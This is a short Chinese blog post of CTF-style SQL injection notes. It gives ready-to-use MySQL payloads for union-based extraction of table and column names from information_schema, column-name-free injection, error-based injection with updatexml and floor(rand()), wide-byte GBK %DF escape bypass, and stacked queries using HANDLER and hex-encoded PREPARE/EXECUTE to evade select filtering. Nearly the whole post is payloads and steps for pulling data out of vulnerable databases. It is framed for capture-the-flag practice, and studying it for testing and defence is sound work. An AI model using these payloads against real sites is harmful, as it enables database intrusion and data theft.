ctf攻防渗透-SQL注入-SQL注入常用方法

联合注入(union):
①判断注入类型:
先判断注入类型:字符型,数字型(注入 id=a 报错表示 类型为数字 ,即就是$id,没有””)

判断如何包裹:输入去判断 数据是如何包裹的,单引号报错是单引号,双引号报错是双引号,在判断有没有括号包裹

例子:输入 a,1” ,1’ ,都报错 就是单纯的 $id
用 ‘,”,) 加在 id=1 后面,以 %23 结尾来测试 输入的结构
#是注释符 (url编码%23)

②查列数:
联合查询时 union select 后面列数要相同
(用oreer by)

③确定字段位置(为了确定数据与字段的对应关系)
union select 1,2,3,4,5 (看 12345 的位置)

当⻚⾯只会显示⼀⾏数据时候,需要先拼上⼀个恒假的条件让前⾯的结果集没有输⼊
and 1=2 union select 1,2,3,4,5

④查表名
select group_concat(table_name) from information_schema.tables where table_schema=database()

⑤查列名
select group_concat(column_name) from information_schema.columns where table_name=‘xxx’

⑥查数据
例子:

无列名注入:
?id=1 union select 1,(select group_concat(a) from (select ‘a’ union select * from f1ag_table) as t)

报错注入:
WHERE id =1 AND updatexml(1,concat(0x73,(select database())),1)

SELECT count(*),concat((select database()),floor(rand(114514)*2)) FROM users GROUP BY 2

宽字节注入:
利用 GBK 编码 用 %DF (因为可以和%5c 构成汉字 )来绕过注释 (比如’,” 符号会被加 \ 注释掉) 加 %DF 后 由于 DF 大于127 ,会把 %DF 和后一个字符(\)看作一个汉字,从而绕过注释

堆叠注入:
也叫多⾏注⼊,当代码允许多⾏查询时候使⽤,⼀般是在select等关键字被过滤的时候进⾏使⽤的。 对于堆叠注⼊,我们⼀般使⽤两种⽅式进⾏绕过select

1.查表:
show databases;
show tables;

  1. Handler使⽤

handler test open;
handler test read first;
handler test close;

3.动态执⾏预处理
set @a=0xxxxx; # 要执⾏语句的16进制
prepare test from @a;
execute test;

上一篇:java使用apache-commons-lang3生成随机字符串(可自定义规则)


下一篇:Java审计——Commons Collections 迭代调用链